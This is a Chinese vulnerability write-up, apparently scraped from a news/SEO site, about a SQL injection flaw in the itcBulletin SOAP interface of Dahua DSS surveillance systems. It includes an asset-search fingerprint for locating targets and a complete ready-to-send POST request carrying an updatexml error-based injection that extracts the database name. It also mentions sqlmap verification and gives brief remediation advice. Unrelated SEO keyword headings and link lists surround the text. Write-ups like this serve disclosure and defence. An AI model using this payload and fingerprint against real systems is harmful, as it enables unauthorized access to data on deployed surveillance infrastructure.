当前位置: 首页 > news >正文

怎么做网站图片链接网站建设要会哪些方面

怎么做网站图片链接,网站建设要会哪些方面,seo怎么刷关键词排名,微信小程序制作教程视频漏洞简介 大华DSS数字监控系统itcBulletin接口对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,可通过注入漏洞获取数据库敏感信息。 资产测绘 app“dahua-DSS” 漏洞复现 POC: POST /portal/services/itcBulletin?wsdl HTTP/1.1 H…

漏洞简介

大华DSS数字监控系统itcBulletin接口对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,可通过注入漏洞获取数据库敏感信息。

资产测绘

app=“dahua-DSS”

在这里插入图片描述

漏洞复现

POC:

POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host:your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Content-Length: 341
Accept-Encoding: gzip<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'><s11:Body><ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'><netMarkings>(updatexml(1,concat(0x7e,(select database()),0x7e),1))) and (1=1</netMarkings></ns1:deleteBulletin></s11:Body>
</s11:Envelope>

在这里插入图片描述

成功查询出当前数据库。

Sqlmap验证

在这里插入图片描述

修复建议

1.升级至应用最新版本
2.部署WAF防火墙进行防护。

http://www.yayakq.cn/news/706852/

相关文章:

  • 网站建设方案实施网店怎么开需要什么条件
  • c 做注册网站网站怎么发布到服务器
  • 做网站没有学历的人会吗做网站后台程序是怎么来的
  • 找国外公司做网站徐州智能建站怎么做
  • 网站建设的原则和目标WordPress写小说插件
  • 天津建设网站首页网站运营刚做时的工作内容
  • 博客网站建设的流程网站建设明细报价
  • 中国网站建设哪家公司好网络架构七层作用
  • 做网站怎么每天更新内容汉阳网站建设
  • 北京如何做网站网页书城网站开发
  • 免费建网站网址wed网站开发是什么
  • 模板网站外贸建站开拼多多网店怎么运营
  • 怎么提升网站收录深圳外贸集团
  • 外国人做外贸都会浏览哪些网站wordpress 更改模块位置
  • 网站建设需要学些什么网站建设的推广渠道
  • 做建网站网站建设公司专业公司排名
  • 昆明网站制作费用河间网站
  • 摄影网站功能设计聊城网站推广软件
  • 哪里可以接网站开发项目做play字体WordPress
  • 德州网站建设php网站虚拟机
  • 西安市网站搭建北京王府井攻略
  • 做网站推广需要具备哪些条件安徽工程建设造价信息网站
  • 网站维护总结做响应式网站价格
  • 交易平台网站建设网站建设市场介绍
  • 企业网站的建设公司价格wordpress post fonts
  • 诸暨公司网站建设wordpress循环插件
  • 公司建一个网站注册的空间网站
  • 网站域名 空间申请表wordpress免插件灯箱
  • 建设网站网址是多少深圳市网是科技有限公司
  • wordpress建站要钱么开封网站优化公司